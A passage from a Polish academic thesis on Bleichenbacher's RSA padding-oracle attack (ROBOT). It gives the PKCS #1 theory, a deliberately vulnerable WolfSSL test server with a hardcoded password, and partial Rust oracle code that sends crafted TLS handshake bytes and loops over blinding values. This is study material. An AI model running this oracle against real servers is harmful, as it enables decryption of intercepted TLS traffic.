Twierdzenie 3.3 (Zgodność PKCS #1)**.** *Zaszyfrowany blok danych EB składający się z k bajtów, to jest*

$$EB = EB_1||EB_2||\ldots||EB_k$$

nazywany jest zgodny z PKCS #1, jeżeli spełnia następujące warunki:

- $EB_1 = 00$.
- $EB_2 = 02$.
- EB_3 *do* EB_{10} *są niezerowe.*
- *Co najmniej jeden z bajtów pomiędzy* EB_{11} *i* EB_k *jest 00.*

3.6.2. Idea [5]

W tym typie ataku przy wysłaniu szyfrogramu c uzyskana jest informacja tak albo nie, czy wiadomość jest zgodna z PKCS #1. Zatem strona odpowiadająca działa jako wyrocznia. To jest wystarczające, żeby uzyskać informacje na temat wiadomości jawnej. Niech użytkownik O chce uzyskać wiadomość jawną $m = c^d \pmod{n}$. O wybiera liczbę s i oblicza $c' = c \cdot s^e \pmod{n}$. Wysyła ten szyfrogram do wyroczni i uzyskuje informację, czy jest zgodna z PKCS #1. Jeżeli odpowiedź jest tak, to O wie, że pierwsze bajty są 00 i 02 zatem, oznaczając $B = 2^{8(k-2)}$

$$2B \leq ms \pmod{n} \leq 3B$$

Szukając różne wartości s_i uzyskuje się kolejno nowe przedziały do których może należeć wiadomość m. Część wspólna tych przedziałów będzie zawężała możliwe wartości m aż do momentu gdzie będzie możliwa tylko jedna wartość.

4. Przykład ataku Bleichenbachera

W tym rozdziale opisano własną implementację ataku z wybranymi szyfrogramami Bleichenbachera (ang. Bleichenbacher's choosen ciphertext attack). Opisano także implementację własnego serwera wrażliwego na ten atak oraz możliwe wektory ataku.

4.1. Tworzenie certyfikatu SSL i kompilacja

Do połączeń z protokołem SSL, konieczne jest posiadanie odpowiedniego certyfikatu. Certyfikat ten zawiera klucz publiczny oraz informacje na temat właściciela certyfikatu, tak jak, nazwa firmy, adres email i inne. Taki certyfikat wygenerowano za pomocą biblioteki *OpenSSL*.

Utworzono certyfikat odpowiadający za własny urząd certyfikacji. Za pomocą tego certyfikatu podpisano certyfikat serwera. Aby stworzyć certyfikat, który zawiera klucz publiczny RSA, należy najpierw stworzyć klucz prywatny. W tym przypadku, plik z kluczem prywatnym zawiera także klucz publiczny.

Certyfikat publiczny urzędu certyfikacji podłączono do klienta, co pozwoli na poprawną weryfikacje certyfikatu serwera. Ten certyfikat można także załadować do normalnej przeglądarki internetowej w celu podłączenia się do serwera, lub wykorzystać do podpisywania innych certyfikatów.

Dla tego projektu utworzono *makefile*, co pozwala na szybkie kompilowanie kodu źródłowego.

4.2. Serwer z WolfSSL

Na podstawie artykułu [5] pobrano wrażliwą wersje biblioteki *WolfSSL*. Jest to wersja 3.11.0. Bibliotekę należało skompilować samodzielnie, żeby móc z niej korzystać. Wykonano tą czynność wpisując poniższe komendy do wiersza poleceń systemu zwracając uwagę, żeby znaleźć się w folderze z kodem źródłowym.

```
1 $ ./cofigure --with-openssl --with-lighttpd CPPFLAGS=DWOLFSSK_STATIC_RSA
```

```
$ make
$ make install
```

Korzystając z dokumentacji na przykładzie dostępnej wraz z kodem źródłowym, napisano własną wersję serwera. Serwer ten, po podłączeniu z klientem odpowie wiadomością na podstawie wiadomości wysłanej przez klienta.

- Jeżeli serwer uzyska wiadomość „get", to wyśle klientowi tajne hasło.
- Jeżeli serwer uzyska wiadomość „shutdown", to wyśle komunikat i ulegnie wyłączeniu.
- Jeżeli serwer uzyska inną wiadomość niż powyżej, to wyśle wiadomość głównego przeznaczenia.

Jeżeli wystąpi błąd, na jakimkolwiek etapie połączenia, to wyświetlony zostanie komunikat, który wyjaśni w skrócie rodzaj błędu. Poniżej przedstawiono kod źródłowy serwera napisany w języku programowania **C**.

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <wolfssl/ssl.h>

#define DEFAULT_PORT 9001

#define CERT_FILE "./cert/certS.pem"
#define KEY_FILE "./cert/key.pem"

static void ShowCiphers(void) {
    char ciphers[255];
    int ret = wolfSSL_get_ciphers(&ciphers[0], (int)sizeof(ciphers));

    if (ret == SSL_SUCCESS) printf("Available ciphers:\n%s\n", &ciphers[0]);
}

int main() {
    int sockfd;
    int connd;
    struct sockaddr_in servAddr;
    struct sockaddr_in clientAddr;
    socklen_t size = sizeof(clientAddr);
    char buff[25500];
    size_t len;
    int shutdown = 0;
    WOLFSSL_CTX * ctx;
```

```
33      WOLFSSL * ssl;
34      char * ciphers = "AES128-SHA256:AES256-SHA256";
35      int err;
36
37      wolfSSL_Debugging_ON();
38      wolfSSL_Init();
39
40      if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
41          fprintf(stderr, "ERROR: Failed to create socket\n");
42          return -1;
43      }
44
45      if((ctx = wolfSSL_CTX_new(wolfTLSv1_2_server_method())) == NULL) {
46          fprintf(stderr, "ERROR: failed to create CTX (context)\n");
47          return -1;
48      }
49
50      if(wolfSSL_CTX_use_certificate_file(ctx, CERT_FILE, SSL_FILETYPE_PEM)
51              != SSL_SUCCESS) {
52          fprintf(stderr, "ERROR: failed to load certificate %s\n", CERT_FILE);
53          return -1;
54      }
55
56      if(wolfSSL_CTX_use_PrivateKey_file(ctx, KEY_FILE, SSL_FILETYPE_PEM)
57              != SSL_SUCCESS) {
58          fprintf(stderr, "ERROR: failed to load private key file %s\n", KEY_FILE);
59          return -1;
60      }
61
62      if(wolfSSL_CTX_set_cipher_list(ctx, ciphers) != SSL_SUCCESS) {
63          fprintf(stderr, "ERROR: failed to set cipher list\n");
64          return -1;
65      }
66
67      memset(&servAddr, 0, sizeof(servAddr));
68
69      servAddr.sin_family = AF_INET;
70      servAddr.sin_port = htons(DEFAULT_PORT);
71      servAddr.sin_addr.s_addr = INADDR_ANY;
72
73      if(bind(sockfd, (struct sockaddr*) &servAddr, sizeof(servAddr)) == -1) {
74          fprintf(stderr, "ERROR: Failed to bind to port\n");
75          return -1;
76      }
77
78      if(listen(sockfd, 5) == -1) {
79          fprintf(stderr, "ERROR: Failed to listen\n");
80          return -1;
81      }
82
83      // Connection skeleton
84      char * reply = "Here is some data from the server. Use it well";
85      char * password = "password123";
86      char * shutdown_message = "Shutting down...";
```

```
87      ShowCiphers();
88      while(!shutdown) {
89          printf("Waiting for connection...\n");
90
91          if((connd = accept(sockfd, (struct sockaddr*)&clientAddr, &size)) == -1) {
92              fprintf(stderr, "ERROR: connection refused\n");
93              return -1;
94          }
95          printf("Accepted connection from %s:%d\n",
96                  inet_ntoa(clientAddr.sin_addr), clientAddr.sin_port);
97
98          if((ssl = wolfSSL_new(ctx)) == NULL) {
99              fprintf(stderr, "ERROR: failed to create WOLFSSL object\n");
100             return -1;
101         }
102         wolfSSL_set_fd(ssl, connd);
103
104         memset(buff, 0, sizeof(buff));
105         if((err = wolfSSL_read(ssl, buff, sizeof(buff)-1)) == -1) {
106             fprintf(stderr, "ERROR: failed to read or handshake error\n");
107             fprintf(stderr, "ERROR: Resetting connection...\n");
108             wolfSSL_write(ssl, "ERROR", sizeof("ERROR"));
109             wolfSSL_free(ssl);
110             close(connd);
111             continue;
112             //return -1;
113         }
114         printf("Message from client: %s\n", buff);
115
116         if(strncmp(buff, "get", 3) == 0) {
117             memset(buff, 0, sizeof(buff));
118             memcpy(buff, password, strlen(password));
119             len = strnlen(buff, sizeof(buff));
120         } else if(strncmp(buff, "shutdown", 8) == 0) {
121             printf("Shutting down\n");
122             memset(buff, 0, sizeof(buff));
123             memcpy(buff, shutdown_message, strlen(shutdown_message));
124             len = strnlen(buff, sizeof(buff));
125             shutdown = 1;
126         } else {
127             memset(buff, 0, sizeof(buff));
128             memcpy(buff, reply, strlen(reply));
129             len = strnlen(buff, sizeof(buff));
130         }
131
132         if(wolfSSL_write(ssl, buff, len) != len) {
133             fprintf(stderr, "ERROR: failed to write data\n");
134             return -1;
135         }
136
137         wolfSSL_free(ssl);
138         close(connd);
139     }
140     printf("Server closed\n");
```

```
141
142     wolfSSL_CTX_free(ctx);
143     wolfSSL_Cleanup();
144     close(sockfd);
145     return 0;
146 }
```

Listing 4.1. ./WebServer/src/server.c

Serwer można uruchomić przez wiersz poleceń, natomiast nie jest konieczne wpisywanie argumentów. Port serwera jest ustalony z góry i jest to 9001.

4.3. Klient z WolfSSL

Klienta napisano także w języku programowania **C**, korzystając z biblioteki *WolfSSL*. Klient po podłączenia do serwera ma możliwość wysyłania wiadomości i uzyskania, jak wcześniej wspomniano, tajnego hasła lub wiadomości głównego przeznaczenia. Ponadto klient może wyłączyć serwer poprzez wysyłanie komendy „shutdown". Aby uruchomić klienta, należy podać jako argument wierszu poleceń adres IPv4, z którym należy nawiązać połączenie. W tym przypadku wykorzystano adres 127.0.0.1 który odpowiada za aktualną maszynę. Nie należy natomiast podawać portu ze względu na to, że jest on z góry ustalony. Jak wcześniej wspomniano, jest to port 9001. Poniżej przedstawiono kod źródłowy.

```
1  #include <stdlib.h>
2  #include <stdio.h>
3  #include <string.h>
4
5  #include <sys/socket.h>
6  #include <arpa/inet.h>
7  #include <netinet/in.h>
8  #include <unistd.h>
9  #include <wolfssl/ssl.h>
10
11 #define DEFAULT_PORT 9001
12
13 #define CERT_FILE "./cert/rootCA.pem"
14
15 int main(int argc, char ** argv) {
16     int sockfd;
17     struct sockaddr_in servAddr;
18     char buff[255];
19     size_t len;
20     WOLFSSL_CTX * ctx;
21     WOLFSSL * ssl;
22
23     wolfSSL_Init();
```

```
24
25      if(argc != 2) {
26          printf("Usage: %s <IPV4 address>\n", argv[0]);
27          return 0;
28      }
29
30      if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
31          fprintf(stderr, "ERROR: Failed to create socket\n");
32          return -1;
33      }
34
35      if((ctx = wolfSSL_CTX_new(wolfTLSv1_2_client_method())) == NULL) {
36          fprintf(stderr, "ERROR: failed to create CTX (context)\n");
37          return -1;
38      }
39
40      if(wolfSSL_CTX_load_verify_locations(ctx, CERT_FILE, NULL) != SSL_SUCCESS) {
41          fprintf(stderr, "ERROR: failed to load CA list %s\n", CERT_FILE);
42          return -1;
43      }
44
45      memset(&servAddr, 0, sizeof(servAddr));
46
47      servAddr.sin_family = AF_INET;
48      servAddr.sin_port = htons(DEFAULT_PORT);
49
50      if(inet_pton(AF_INET, argv[1], &servAddr.sin_addr) != 1) {
51          fprintf(stderr, "ERROR: invalid server adress\n");
52          return -1;
53      }
54
55      if(connect(sockfd, (struct sockaddr*) &servAddr, sizeof(servAddr)) == -1) {
56          fprintf(stderr, "ERROR: Failed to connect\n");
57          return -1;
58      }
59
60      if((ssl = wolfSSL_new(ctx)) == NULL) {
61          fprintf(stderr, "ERROR: failed to create WOLFSSL object\n");
62          return -1;
63      }
64      wolfSSL_set_fd(ssl, sockfd);
65
66      if (wolfSSL_connect(ssl) != SSL_SUCCESS) {
67          fprintf(stderr, "ERROR: failed to connect with wolfssl\n");
68          return -1;
69      }
70
71      printf("Chiper used: %s\n", wolfSSL_get_cipher(ssl));
72      printf("get - get password, shutdown - shutdown\n");
73      printf("Message for server: ");
74      memset(buff, 0, sizeof(buff));
75      fgets(buff, sizeof(buff), stdin);
76      len = strnlen(buff, sizeof(buff));
77
```

```
78      if(wolfSSL_write(ssl, buff, len) != len) {
79          fprintf(stderr, "ERROR: failed to write to server\n");
80          return -1;
81      }
82
83      memset(buff, 0, sizeof(buff));
84      if(wolfSSL_read(ssl, buff, sizeof(buff)-1) == -1) {
85          fprintf(stderr, "ERROR: failed to read from server\n");
86      }
87
88      printf("Message from server: %s\n", buff);
89
90      wolfSSL_free(ssl);
91      wolfSSL_CTX_free(ctx);
92      wolfSSL_Cleanup();
93      close(sockfd);
94      return 0;
95  }
```

Listing 4.2. ./WebServer/src/client.c

4.4. Kod programu do ataku

Ze względu na ograniczenia czasowe nie zaimplementowano pełnego kodu programu. Własną wersję programu napisano na podstawie kodu wykonanego w języku Python. Autorzy tego kodu to *Hanno Böck* oraz *Michael Scovetta*. Link tego kodu podano w bibliografii [8].

Pomimo niepełnego programu, napisano funkcje umożliwiające wysyłanie danych w celu sprawdzenia zgodności z PKCS #1. Poniżej przedstawiono funkcję, która łączy się z serwerem poprzez SSL/TLS i zwraca jego klucz publiczny.

```
1  pub fn get_rsa_from_server(host: String, port: u16) -> (Integer, Integer){
2      let mut connector_builder = SslConnector::builder(SslMethod::tls()).unwrap();
3      connector_builder.set_verify(SslVerifyMode::NONE);
4      let connector = connector_builder.build();
5
6      let tmp: String = host.clone() + ":" + &port.to_string();
7      let stream = TcpStream::connect(tmp).unwrap();
8      let stream = connector.connect(&host, stream).unwrap();
9
10     let key = stream.ssl().peer_certificate().unwrap().public_key().unwrap();
11     let n = key.rsa().unwrap().n().to_owned();
12     let e = key.rsa().unwrap().e().to_owned();
13
14     let n_ret = n.unwrap().to_dec_str().unwrap().parse::<Integer>();
15     let e_ret = e.unwrap().to_dec_str().unwrap().parse::<Integer>();
16     return (n_ret.unwrap(), e_ret.unwrap());
```

```
}
```

Listing 4.3. ./ssl_attack/src/lib.rs od 64 do 80

Poniżej przedstawiono najważniejszą funkcję tego ataku, czyli tą sprawdzającą zgodność PKCS #1.

```
pub fn bleichenbacher_oracle(host: String, port: u16, pms: &Vec<u8>)
        -> Result<String, Box<dyn Error>> {

    let ch_tls = Vec::from_hex("16030100610100005d
    03034f20d66cba6399e552fd735d75feb0eeae2ea2ebb357c9004e21d0c2574f837a000010009
    d003d0035009c003c002f000a00ff01000024000d0020001e060106020603050105020503040 1
    040204030301030203030201020202 03".replace("\n","")
        .replace(" ","")).unwrap();
    let ch = ch_tls.as_slice();

    let ccs = Vec::from_hex("000101").unwrap();
    let enc = Vec::from_hex("005091a3b6aaa2b64d126e5583b04c113259c4efa4
    8e40a19b8e5f2542c3b1d30f8d80b7582b72f08b21dfcbff09d4b281676a0fb40d48c20c4f38
    8617ff5c00808a96fbfe9bb6cc631101a6ba6b6bc696f0".replace("\n","")
        .replace(" ","")).unwrap();

    let tmp: String = host.clone() + ":" + &port.to_string();
    let mut stream = TcpStream::connect(&tmp).unwrap();
    stream.set_nodelay(true).expect("set_nodelay failed");
    stream.set_write_timeout(Some(Duration::new(5,0)))
        .expect("failed to set nonblocking");
    stream.set_read_timeout(Some(Duration::new(5,0)))
        .expect("failed to set nonblocking");

    stream.write_all(&ch)?;

    // let cke_2nd_prefix = format!("{:x}",modulus_bytes + 6) + "1000" +
    //    &format!("{:x}",modulus_bytes + 2) + &format!("{:x}",modulus_bytes);
    let cke_2nd_prefix = b"\x01\x06\x10\x00\x01\x02\x01\x00";

    let mut buff = vec![0; 4096];
    stream.read(&mut buff)?;

    let cke_version = Vec::from(&buff[9..11]);

    let mut tmp: Vec<u8> = Vec::from([b"\x16"[0]]);
    tmp = [tmp, cke_version.clone()].concat();
    stream.write(&tmp)?;

    stream.write(cke_2nd_prefix)?;

    stream.write(&pms)?;

    tmp = Vec::from_hex("14").unwrap();
    tmp = [tmp, cke_version.clone()].concat();
    tmp = [tmp, ccs].concat();
    stream.write(&tmp)?;
```

```
48
49      tmp = Vec::from_hex("16").unwrap();
50      tmp = [tmp, cke_version.clone()].concat();
51      tmp = [tmp, enc].concat();
52      stream.write(&tmp)?;
53
54      let bend = stream.read_to_end(&mut buff)?;
55      if bend == 0 {
56          stream.shutdown(Shutdown::Both)?;
57          return Ok(String::from("Ok"))
58      }
59
60      stream.shutdown(Shutdown::Both)?;
61      Ok(String::new())
62  }
```

Listing 4.4. ./ssl_attack/src/lib.rs od 82 do 143

Funkcja ta wysyła do serwera *ClientHello*, w którym uwzględniono specyfikacje szyfru zawierające RSA. Wartości losowe z tego bloku są ustalone z góry, ponieważ nie jest koniecznie uzyskania poprawnego połączenia. Z danych otrzymanych od serwera brana jest wersja SSL/TLS, ponieważ jest konieczna do dalszej wymiany danych. Ponieważ blok z szyfrowanymi danymi rozpoczyna się od 0x0100, to po wysłaniu odpowiednich bajtów z długościami, zrobiono konkatenację z danymi, które są sprawdzane. Wysłany jest *ChangeCipherSpec*, a następnie odczytywane są dane od serwera. W całym kodzie sprawdzane są błędy. W ostatnim czytaniu spodziewany jest błąd, dlatego rozpatrywany jest osobno.

Funkcja zwraca odpowiedź (and. result) która może być łańcuchem lub błędem. Jeżeli nie nastąpią problemy, to odpowiedź przyjmie wartość pustego łańcucha ..". W przeciwnym wypadku odpowiedź będzie błędem zawierającym rodzaj błędu.

Poniżej przedstawiono kod programu wykorzystujący powyższe funkcje.

```
1  fn bleichenbacher_example(host: String, port: u16) {
2
3      let (n, e) = get_rsa_from_server(host.clone(), port.clone());
4      println!("n: {}\ne: {}", n, e);
5
6      let modulus_bytes = n.to_digits::<u8>(Order::MsfLe).len();
7      let modulus_bits = &modulus_bytes * 8;
8
9      println!("Modulus bits: {}", modulus_bits);
10     println!("Modulus bytes: {}", modulus_bytes);
11
12     let pad_len = (modulus_bytes - 48 - 3) * 2;
13     let len  = (pad_len / 2) as i32 + 1;
```

```
    let mut rnd_pad = String::new();
    for _i in 1..len {
        rnd_pad += "abcd";
    }
    rnd_pad.drain(pad_len..rnd_pad.len());
    println!("Pad len: {}\nRnd pad len: {}", pad_len, rnd_pad.len());

    let hex_test = Vec::from_hex("aa11").unwrap();
    let int_test = Integer::from_digits(hex_test.as_slice(), Order::MsfLe);
    println!("Integer: {}", int_test);

    let rnd_pms = "aa11223344556677889911223344556677
        99112233445566778899112233445566778899112233445566778
        899".replace("\n","").replace(" ","");
    let pms_good_str = String::from("0002") + &rnd_pad + "000303" + &rnd_pms;
    let pms_good_vec = Vec::from_hex(pms_good_str).unwrap();
    let pms_good_in = Integer::from_digits(pms_good_vec.as_slice(), Order::MsfLe);
    // wrong first two bytes
    let pms_bad_str1 = String::from("4117") + &rnd_pad + "00" + "0303" + &rnd_pms;
    let pms_bad_vec1 = Vec::from_hex(pms_bad_str1).unwrap();
    let pms_bad_in1 = Integer::from_digits(pms_bad_vec1.as_slice(), Order::MsfBe);
    // 0x00 on a wrong position, also trigger older JSSE bug
    let pms_bad_str2 = String::from("0002") + &rnd_pad + "11" + &rnd_pms + "0011";
    let pms_bad_in2 = Integer::from_digits(pms_bad_str2.as_bytes(), Order::MsfBe);
    // no 0x00 in the middle
    let pms_bad_str3 = String::from("0002") + &rnd_pad + "11" + "1111" + &rnd_pms;
    let pms_bad_in3 = Integer::from_digits(pms_bad_str3.as_bytes(), Order::MsfBe);
    // wrong version number (according to Klima / Pokorny / Rosa paper)
    let pms_bad_str4 = String::from("0002") + &rnd_pad + "00" + "0202" + &rnd_pms;
    let pms_bad_in4 = Integer::from_digits(pms_bad_str4.as_bytes(), Order::MsfBe);

    let pms_good = pms_good_in.pow_mod(&e, &n).unwrap()
        .to_digits::<u8>(Order::MsfBe);
    println!("pms good {}", pms_good.as_slice().escape_ascii().to_string());
    println!("length {}", pms_good.len());
    let pms_bad1 = pms_bad_in1.pow_mod(&e, &n).unwrap()
        .to_digits::<u8>(Order::MsfBe);
    let pms_bad2 = pms_bad_in2.pow_mod(&e, &n).unwrap()
        .to_digits::<u8>(Order::MsfBe);
    let pms_bad3 = pms_bad_in3.pow_mod(&e, &n).unwrap()
        .to_digits::<u8>(Order::MsfBe);
    let pms_bad4 = pms_bad_in4.pow_mod(&e, &n).unwrap()
        .to_digits::<u8>(Order::MsfBe);

    let good = bleichenbacher_oracle(host.clone(), port.clone(), &pms_good);
    let bad1 = bleichenbacher_oracle(host.clone(), port.clone(), &pms_bad1);
    let bad2 = bleichenbacher_oracle(host.clone(), port.clone(), &pms_bad2);
    let bad3 = bleichenbacher_oracle(host.clone(), port.clone(), &pms_bad3);
    let bad4 = bleichenbacher_oracle(host.clone(), port.clone(), &pms_bad4);

    println!("is good good: {}, {}", good.is_ok(), good.unwrap());
    println!("is bad1 good: {}, {}", bad1.is_ok(), bad1.unwrap_or_default());
    println!("is bad2 good: {}, {}", bad2.is_ok(), bad2.unwrap_or_default());
    println!("is bad3 good: {}, {}", bad3.is_ok(), bad3.unwrap_or_default());
```

```
68      println!("is bad4 good: {}, {}", bad4.is_ok(), bad4.unwrap_or_default());
69
70      //blinding
71      let c_str = "49 2d ab 7c 1f 1d 33 db d1 d6 db e7 57
72              c8 ec 47 31 f4 3c bf 43 94 16 85 6d b2 65 97
73              07 59 e7 d8 43 9f 8e 46 cc a1 8b c7 28 df e0
74              67 93 03 d2 66 c1 44 ea 05 e4 51 2c 6f 23 42
75              d6 09 e4 36 37 6a 72 8d cd a7 6f 4a 75 01 c2
76              ef 8b 45 a8 39 e9 3a 5a 07 6b 29 35 3d 4d 9e
77              15 59 06 6c d4 61 21 8c c1 8e e2 89 7d b9 e7
78              f7 d6 66 9b 66 54 2f 4a 2d d0 9c ac f1 99 4f
79              49 67 61 01 0d 5f a2 83 3a 9c 27 2f 64 74 6a
80              24 c4 b8 a9 9c e2 a3 df b8 68 9f 23 9b 73 6e
81              6a fa 2a a6 d0 a4 94 3c 94 25 f8 19 f4 87 4d
82              5f be 0c 97 a0 33 e3 1e dc d9 5b 46 c4 b1 88
83              37 22 14 80 07 22 4c a8 c8 da d7 4f 48 06 48
84              d4 d5 3e 8a 73 74 aa cd 55 b2 64 bc 77 73 40
85              7b 96 6e 2a 72 e7 39 4e 54 f2 5b b7 cc eb c5
86              73 36 cc d0 66 e1 35 38 2e cb 50 29 38 f5 35
87              a5 1f f0 74 95 5a 64 4a 1f b6 88 d1 6d c5 0c
88              6a da a7";
89      let c = Vec::from_hex(c_str.replace(" ","").replace("\n","")).unwrap();
90      let mut count = 0;
91      let mut s0 = 1;
92      let mut c0 = Integer::from(s0).pow_mod(&e, &n).unwrap()
93          * Integer::from_digits(&c, Order::MsfBe);
94      loop {
95          if count % 1000 == 0 {
96              println!("{} query", count);
97          }
98          match bleichenbacher_oracle(host.clone(),
99              port.clone(),
100             &c0.to_digits::<u8>(Order::MsfBe)) {
101                 Ok(_) => break,
102                 Err(_) => ()
103             };
104         s0 += 1;
105         c0 = Integer::from(s0).pow_mod(&e, &n).unwrap()
106             * Integer::from_digits(&c, Order::MsfBe);
107         count += 1;
108     }
109     println!("s0: {}", s0);
110 }
```

Listing 4.5. ./ssl_attack/src/main.rs od 206 do 315

Ta funkcja sprawdza cztery przypadki: jeden zgodny z PKCS #1, jeden z błędnymi początkowymi bajtami, jeden z błędnym położeniem drugiego zerowego bajta, a jeden z błędną wersją SSL/TLS. Idea za tym jest taka, żeby błąd drugiego przypadku różnił się od pozostałych dwóch błędnych formatowań. Wtedy można rozróżnić

czy wiadomość jawna ma zerowy bajt na początku, a zatem wyznaczyć przedziały.

Dalsza część kodu [4] polega na sprawdzaniu wartości s_0, dla których $c(s_0)^e \pmod n$ jest zgodne z PKCS #1. Wyznacza się wtedy początkowy przedział $M_0 = [2B, 3B-1]$, gdzie $B = 2^{8(k-2)}$, a k jest długością bajtową liczby n. Ten proces można pominąć, jeżeli posiada się już zgodny szyfrogram. W kodzie ten szyfrogram znajduje się pod *c_str* i został także pokazany w rozdziale drugim.

Dalej program powinien szukać przedziałów, w których może się odszyfrowana wiadomość znajdować. W przypadku, gdy pierwszy przedział został już znaleziony, to program kolejno musiał by sprawdzać wartości s_i i r_i takie, że

$$r_i \geq \frac{2(bs_{i-1} - 2B)}{n}$$

oraz

$$\frac{2B + r_i n}{b} \leq s_i \leq \frac{3B + r_i n}{a}.$$

W przypadku, gdy został już znaleziony więcej niż jeden przedział, to szukane są kolejne wartości wartości $s_i > s_{i-1}$ dla których $c \cdot (s_i)^e \pmod n$ jest zgodne z PKCS #1.

Przy znalezieniu wartości s_i obliczany jest kolejny przedział zgodnie ze wzorem

$$M_i = \bigcup_{(a,b,r)} \left\{ \left[\max\left(a, \left\lceil \frac{2B + rn}{s_i} \right\rceil \right), \min\left(b, \left\lfloor \frac{3B - 1 + rn}{s_i} \right\rfloor \right) \right] \right\},$$

gdzie $[a, b] \in M_{i-1}$ oraz $\frac{as_i - 3B + 1}{n} \leq r \leq \frac{bs_i - 2B}{n}$.

W pewnym momencie lewa i prawa strona przedziału będą równe, co oznacza, że znaleziony został tekst jawny. W przypadku własnego serwera, zostawiono program pobrany z [8] na dwa dni. Wykonał w tym czasie około 3000000 kwerend, z których żadna nie oddała zgodność z PKCS #1. Potwierdza to, że wyrocznia jest słaba.

4.5. Dalsze możliwości rozwoju

Napisany program można dostosować, żeby wykrywał wrażliwość na ten atak w innych także serwerach i aplikacjach. Ponieważ konieczne jest wysyłanie danych do serwera, optymalizacja kodu nie wpływa na prędkość działania. Można natomiast

stosować bardziej optymalne biblioteki do liczb dowolnej dokładności.

Co do programów omówionych we wcześniejszym rozdziale, także można takie optymalizacje wykonać, oraz dostosować skrypt tak, aby obejmował więcej przypadków.

Bibliografia

[1] Alfred J. Menezes, Paul C. van Oorschot, Scott A. Vanstone, *Kryptografia stosowana*, WNT, Warszawa, 2005

[2] Rolf Oppliger, *SSL and TLS Theory and Practice*, ARTECH HOUSE, Norwood, 2016

[3] Dan Boneh *Twenty Years of Attacks on the RSA Cryptosystem*, Notices of the American Mathematical Society, volume 46, 1999

[4] Hugo Krawczyk (ed.), *Advances in cryptology - Crypto '98*, 18th Annual International Cryptology Conference, Springer, Santa Barbara, California, USA, [IACR]. - Berlin ; Heidelberg ; New York ; Barcelona ; Budapest ; Hong Kong ; London ; Milan ; Paris ; Singapore ; Tokyo, (August 23 - 27, 1998).

[5] Hanno Böck (unaffiliated), Juraj Somorovsky, Craig Young, *Return Of Bleichenbacher's Oracle Threat (ROBOT)*, Usenix, Baltimore USA, August 15-17 2018

[6] Calvin T. Long, *Elementary Introduction to Number Theory*, D. C. HEATH AND COMPANY, Boston, 1965

[7] Marek Zakrzewski, *Markowe Wykłady z Matematyki*, GiS, Wrocław, 2017

[8] Hanno Böck, Michael Scovetta, https://github.com/robotattackorg/robot-detect

Dodatek A

Kod programu serwera wykorzystanego w ostatnim rozdziale.

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <wolfssl/ssl.h>

#define DEFAULT_PORT 9001

#define CERT_FILE "./cert/certS.pem"
#define KEY_FILE "./cert/key.pem"

static void ShowCiphers(void) {
    char ciphers[255];
    int ret = wolfSSL_get_ciphers(&ciphers[0], (int)sizeof(ciphers));

    if (ret == SSL_SUCCESS) printf("Available ciphers:\n%s\n", &ciphers[0]);
}

int main() {
    int sockfd;
    int connd;
    struct sockaddr_in servAddr;
    struct sockaddr_in clientAddr;
    socklen_t size = sizeof(clientAddr);
    char buff[25500];
    size_t len;
    int shutdown = 0;
    WOLFSSL_CTX * ctx;
    WOLFSSL * ssl;
    char * ciphers = "AES128-SHA256:AES256-SHA256";
    int err;

    wolfSSL_Debugging_ON();
    wolfSSL_Init();

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        fprintf(stderr, "ERROR: Failed to create socket\n");
        return -1;
    }

    if((ctx = wolfSSL_CTX_new(wolfTLSv1_2_server_method())) == NULL) {
        fprintf(stderr, "ERROR: failed to create CTX (context)\n");
        return -1;
```

```
48      }
49
50      if(wolfSSL_CTX_use_certificate_file(ctx, CERT_FILE, SSL_FILETYPE_PEM)
51              != SSL_SUCCESS) {
52          fprintf(stderr, "ERROR: failed to load certificate %s\n", CERT_FILE);
53          return -1;
54      }
55
56      if(wolfSSL_CTX_use_PrivateKey_file(ctx, KEY_FILE, SSL_FILETYPE_PEM)
57              != SSL_SUCCESS) {
58          fprintf(stderr, "ERROR: failed to load private key file %s\n", KEY_FILE);
59          return -1;
60      }
61
62      if(wolfSSL_CTX_set_cipher_list(ctx, ciphers) != SSL_SUCCESS) {
63          fprintf(stderr, "ERROR: failed to set cipher list\n");
64          return -1;
65      }
66
67      memset(&servAddr, 0, sizeof(servAddr));
68
69      servAddr.sin_family = AF_INET;
70      servAddr.sin_port = htons(DEFAULT_PORT);
71      servAddr.sin_addr.s_addr = INADDR_ANY;
72
73      if(bind(sockfd, (struct sockaddr*) &servAddr, sizeof(servAddr)) == -1) {
74          fprintf(stderr, "ERROR: Failed to bind to port\n");
75          return -1;
76      }
77
78      if(listen(sockfd, 5) == -1) {
79          fprintf(stderr, "ERROR: Failed to listen\n");
80          return -1;
81      }
82
83      // Connection skeleton
84      char * reply = "Here is some data from the server. Use it well";
85      char * password = "password123";
86      char * shutdown_message = "Shutting down...";
87      ShowCiphers();
88      while(!shutdown) {
89          printf("Waiting for connection...\n");
90
91          if((connd = accept(sockfd, (struct sockaddr*)&clientAddr, &size)) == -1) {
92              fprintf(stderr, "ERROR: connection refused\n");
93              return -1;
94          }
95          printf("Accepted connection from %s:%d\n",
96                  inet_ntoa(clientAddr.sin_addr), clientAddr.sin_port);
97
98          if((ssl = wolfSSL_new(ctx)) == NULL) {
99              fprintf(stderr, "ERROR: failed to create WOLFSSL object\n");
100             return -1;
101         }
```

```
102         wolfSSL_set_fd(ssl, connd);
103
104         memset(buff, 0, sizeof(buff));
105         if((err = wolfSSL_read(ssl, buff, sizeof(buff)-1)) == -1) {
106             fprintf(stderr, "ERROR: failed to read or handshake error\n");
107             fprintf(stderr, "ERROR: Resetting connection...\n");
108             wolfSSL_write(ssl, "ERROR", sizeof("ERROR"));
109             wolfSSL_free(ssl);
110             close(connd);
111             continue;
112             //return -1;
113         }
114         printf("Message from client: %s\n", buff);
115
116         if(strncmp(buff, "get", 3) == 0) {
117             memset(buff, 0, sizeof(buff));
118             memcpy(buff, password, strlen(password));
119             len = strnlen(buff, sizeof(buff));
120         } else if(strncmp(buff, "shutdown", 8) == 0) {
121             printf("Shutting down\n");
122             memset(buff, 0, sizeof(buff));
123             memcpy(buff, shutdown_message, strlen(shutdown_message));
124             len = strnlen(buff, sizeof(buff));
125             shutdown = 1;
126         } else {
